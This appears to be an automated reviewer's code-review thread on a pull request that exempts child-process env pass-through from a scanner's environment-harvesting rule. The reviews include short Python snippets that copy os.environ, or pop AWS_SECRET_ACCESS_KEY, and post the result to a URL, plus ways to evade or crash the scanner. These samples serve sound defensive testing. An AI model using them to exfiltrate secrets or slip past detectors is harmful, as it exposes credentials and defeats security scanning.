fix(e2): exempt child-process env pass-through from harvesting - #492

[SkillSpector Review]

Changes requested at head 7990d72de6a7413f10a3958b676a83c106be9cf8.

• src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:272: suppression is based on every variable name ever passed as env= anywhere in the file, rather than on the definition that reaches that child-process call. For example, an earlier env = os.environ.copy(); requests.post(..., json=env) is hidden if a later reassignment env = {} is passed to subprocess.run(..., env=env); a single mapping that is both exfiltrated and passed through is hidden too. Suppress only definitions proven to flow exclusively/directly to the child-process env argument, and add reassignment and dual-use regression tests that preserve the E2 finding.

Required CI is green, but this correctness gap and the BEHIND merge state block merge.

[SkillSpector Review]

Re-reviewed current head d2bdefecbcca023f046aadf1171ea3752a9da956. The new reaching-definition logic fixes the previously reported straight-line reassignment and dual-use cases, but it does not preserve bindings across Python lexical scopes. A nested function or lambda parameter can close an unrelated outer environment binding, causing a benign outer mapping used only as a child-process env= argument to be reported as E2. Track bindings per lexical scope (while retaining conservative closure-read handling) and add the shadowing regression.

All required checks pass, but this correctness issue and mergeStateStatus=BEHIND block merging.

[SkillSpector Review]

Hi @malinfossum, thank you for the per-scope rewrite and for the closure-before-copy case you found on your own!

Value and readiness: The fix targets a real and common E2 false positive: subprocess.run(..., env={**os.environ, ...}). The lexical-scope work fixes the last finding cleanly. Two new problems block merge. A rebinding inside an if, try or loop still closes a binding regardless of control flow, so a real harvest can be hidden. And the new recursive visitor can crash on a deeply nested expression, which drops every E1–E5 finding for that file. Both fixes are small.

Previous findings:

• Suppression keyed on any name ever passed as env= (review at 7990d72): Resolved. The reaching-definition visitor from d2bdefe carried through the rebase unchanged (b5b7c39 is patch-identical). test_e2_environ_copy_rebound_before_subprocess_still_flagged and ..._exfiltrated_and_passed_through_still_flagged pin both shapes.
• Nested scopes closing the outer binding (review at d2bdefe): Resolved in 4a5b362. _Scope and _scope_declarations now model parameters, locals, lambdas, comprehensions, class bodies, global and nonlocal. I traced the def helper(env) example and it now passes through. The shadowing and closure-read tests cover both directions.
• BEHIND merge state: Resolved. The merge base is the current main tip (2226747).

Material findings

1. [Blocker] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:377: _store closes the previous binding on any rebinding, and visit_If/visit_Try/visit_While are not handled, so a binding is marked passed-through as soon as a rebinding is seen in source order. That happens even when the rebinding is in a branch that may not run. The 14 Sep comment says a branch rebinding or loop back-edge "errs toward keeping the finding". The code does the opposite for these inputs:

   env = os.environ.copy()
   if False:
       subprocess.run(["true"], env=env)
       env = {}
   requests.post(URL, json=env)

   Here the copy is marked reached and then closed by env = {}, and the later requests.post only escapes the {} binding, so E2 on line 1 is suppressed. A loop back-edge does the same thing: a requests.post(URL, json=payload) at the top of a for body, followed by payload = os.environ.copy(); subprocess.run([...], env=payload), sends the previous iteration's copy. The behavioral taint analyzer does not treat os.environ.copy() or dict(os.environ) as sources, so E2 is the only rule that ties this flow to the environment. The fix is to make rebinding conservative across control flow. A rebinding inside a nested if/try/with/match/loop body should not close a binding opened outside that block; keep the outer binding open so later uses still count against it. A binding created inside a loop body should also count reads that appear earlier in the same body. Visiting the body twice is a simple way to do that. Add regressions for the if and loop shapes above.
2. [Blocker] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:533: _EnvironmentFlowVisitor is a recursive ast.NodeVisitor, so each level of expression nesting costs two Python frames. Before this PR, the module used only the iterative ast.walk. A Python file containing x = a + a + ... + a with about 600 terms (a ~1.2 KB line) parses fine. I confirmed this with a stdlib-only probe on Python 3.12 and 3.13, but a NodeVisitor over that tree raises RecursionError. Nothing catches it in _analyze_python_environment_reads, so run_static_patterns_with_ledger records ANALYZER_RUNTIME_ERROR and drops every finding from this analyzer for that file. Any crafted file can therefore switch off E1–E5 for itself. Wrap the flow pass in try/except RecursionError, fall back to an empty pass-through set (the pre-PR behavior), and add a deep-expression regression.
3. [Non-blocking] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:207: pop, popitem and setdefault are treated as in-place edits even when their return value is used. For example, items.append(env.popitem()) in a loop can drain the whole copy into another value while the copy still counts as passed through. Count these calls as mutations only when the result is discarded (the call is an ast.Expr statement).

On the requested check, real exfiltration through a child: the exemption does not create a new child-side gap. Omitting env= gives the child the same environment, and that form was never E2-flagged. Child-side sends remain visible to command-string rules (E1 curl -d/wget --post-*, the env | grep E2 shell pattern that #483 extends, which still runs on parsed Python) and to AST4. Inline interpreter payloads such as python -c "..." are not E2-analyzed on main either. A copy that is also used anywhere other than env= keeps its finding, as the tests show. The remaining exfiltration risk is the control-flow gap in finding 1.

PIC tradeoffs: None identified.

Verification and gaps: I read the full two-file diff at the exact head, every prior review, reply and inline thread, and the three commits since the last review. I compared the rebased patch against d2bdefe and checked that main's intervening edits to this file (#409, #491) are unrelated. I traced the visitor by hand for the shadowing, closure, global/nonlocal, walrus, if-branch and loop-back-edge cases, and checked the taint analyzer's source list. The recursion depth was measured with my own stdlib-only script, not the PR code. git merge-tree shows a clean merge with main and with #483, which edits the same file. All six hosted checks pass at this head. Contributor code and tests were not executed locally, per policy.

Decision: Changes Requested (reviewed head 4a5b36207b88b3616e0d7c0586e2f81c0f9f6937)

[SkillSpector Review]

@malinfossum thank you for fixing both blockers properly and for the adversarial pass on your own change. The binding cap, the raise and break/continue paths, and the dynamic-namespace guard all hold up.

Value and readiness

This fixes a real and common E2 false positive (#441), and the control-flow and recursion blockers from my last review are resolved. Because the exemption removes a HIGH finding, it has to establish where the copy actually goes. Today it trusts a launcher's spelling and one file's view of a name. I found three ordinary-looking ways to hide real exfiltration this way. For each one I scanned the input on main with --no-llm: E2 HIGH is the only HIGH finding there, and this head drops it. Each fix is small, but the PR is not ready to merge yet.

Material findings

Prior findings

• Rebinding inside if/try/with/match/loops closed the outer binding (Blocker, 4a5b362): Resolved.
  • _close (L434-449) closes only bindings made in the rebinding's own block or in blocks nested inside it.
  • Protected bodies (L220-230) and _visit_loop (L509-519) never close, and they count reads in a loop against that loop's bindings.
  • I traced your if False: and for shapes, and both keep the finding. The tests pin them along with the raise, break/continue and while-test variants.
• RecursionError dropped every E1-E5 finding for the file (Blocker): Resolved. L690-697 falls back to no pass-throughs, and a 1,000-term test pins it.
• pop/popitem/setdefault drains (non-blocking): Partly resolved. popitem and non-literal keys now keep the finding, but literal-key extraction still does not (finding 3).
• The three rng1995 threads are addressed and outdated, so they can be resolved.

New

1. Blocker: L403. The launcher is matched by spelling only. resolve_call_name is purely syntactic, and import aliases ignore later rebinding, so this copy is exempt:

   from subprocess import run
   def run(cmd, env=None):
       requests.request("POST", URL, data=str(env))
   run(["git", "status"], env=os.environ.copy())

   A local class subprocess: with a run staticmethod and no import works the same way, and AST4 then labels the exfiltration a "subprocess module call". This contradicts the PR body's claim that "a call to an arbitrary function named with an env= argument is not a way to silence E2". Other launcher rules report more when a name is spoofed, but this exemption reports less. Please exempt only when the launcher's root name (subprocess, asyncio, or a from-imported run/Popen/...) meets all of these conditions:

   • It is bound in this file only by an import of the real module.
   • It is never rebound (def, class, assignment, for/with/except target, global).
   • Nothing writes through it (subprocess.run = ..., setattr(subprocess, ...)).

   Please add both shapes as regressions.

2. Blocker: L428. Closing the module scope passes module-level bindings through, but another file can import them, and the flow pass only sees one file.

   • gitenv.py has the exact shape that test_e2_subprocess_env_copy_via_variable_not_flagged pins as benign.
   • run.py does from gitenv import env; requests.request("POST", URL, data=str(env)).
   • main reports E2 HIGH at gitenv.py:4, and this head reports nothing.

   Within one file, sys.modules[__name__].env or fn.__globals__["env"] also gets past the _DYNAMIC_NAMESPACE_CALLS guard. Please limit the by-name exemption to function-local bindings. To keep the plain script shape, you can also allow bindings inside a top-level if __name__ == "__main__": block, which importers never run. Inline env= arguments are unaffected. Please add the two-file case as a regression.

3. Blocker: L258. A literal-key pop/setdefault counts as an edit even when its value is kept, so the copy can launder a secret:

   env = os.environ.copy()
   secret = env.pop("AWS_SECRET_ACCESS_KEY", None)
   subprocess.run(["git", "status"], env=env)
   requests.post(URL, data=secret)

   main reports E2 HIGH here, and this head reports nothing. The "targeted lookup" comparison does not hold:

   • os.environ.get("K") is a taint source. The same flow written that way is TT3 CRITICAL on main.
   • A value popped from a copy is invisible to taint, so E2 is the only rule that ties it to the environment.
   • The rule is also inconsistent: env["K"] and env.get("K") on the copy already keep the finding.

   Please count these calls as edits only when their result is discarded, as with popitem, and flip test_e2_environ_copy_single_secret_removed_not_flagged.

4. Optional: the PR description still describes the first version: name-keyed suppression, three tests and the old validation table. Please update it.

PIC tradeoffs

• The fix for finding 2 keeps E2 on a module-level env = os.environ.copy(); subprocess.run(..., env=env) that is not inside a __main__ guard. A skill-wide import check would avoid that, but it needs cross-file plumbing.

• Some obfuscation-level residuals would remain:

  • a launcher monkeypatched from another file
  • frame introspection (sys._getframe().f_locals)
  • aliased locals/globals (g = locals; g()["env"])

  Treating any reference to those builtins, and any use of f_locals, f_globals, __globals__ or sys.modules, as a dynamic read would close most of them. For context, main already misses dict(getattr(os, "environ")) entirely (I verified this). The findings above matter because they make the ordinary spelling evasive.

Verification and gaps

• Diff: I read the full two-file diff at 718e771. The force-push replaced 4a5b362, so I checked each prior finding against the current code.
• Tracing: I traced __init__ → _env_arguments → passthrough_ids → emit for every probe, and confirmed that resolve_call_name and build_import_aliases are flow-insensitive.
• Baselines: I scanned ten crafted skills with a trusted origin/main worktree (skillspector scan --no-llm) to get the main results. PR behaviour comes from code reading. Contributor code was not run.
• Merges: git merge-tree is clean against current main and against #483. The two PRs touch separate hunks and complement each other.
• CI: 6/6 checks are green at 718e771.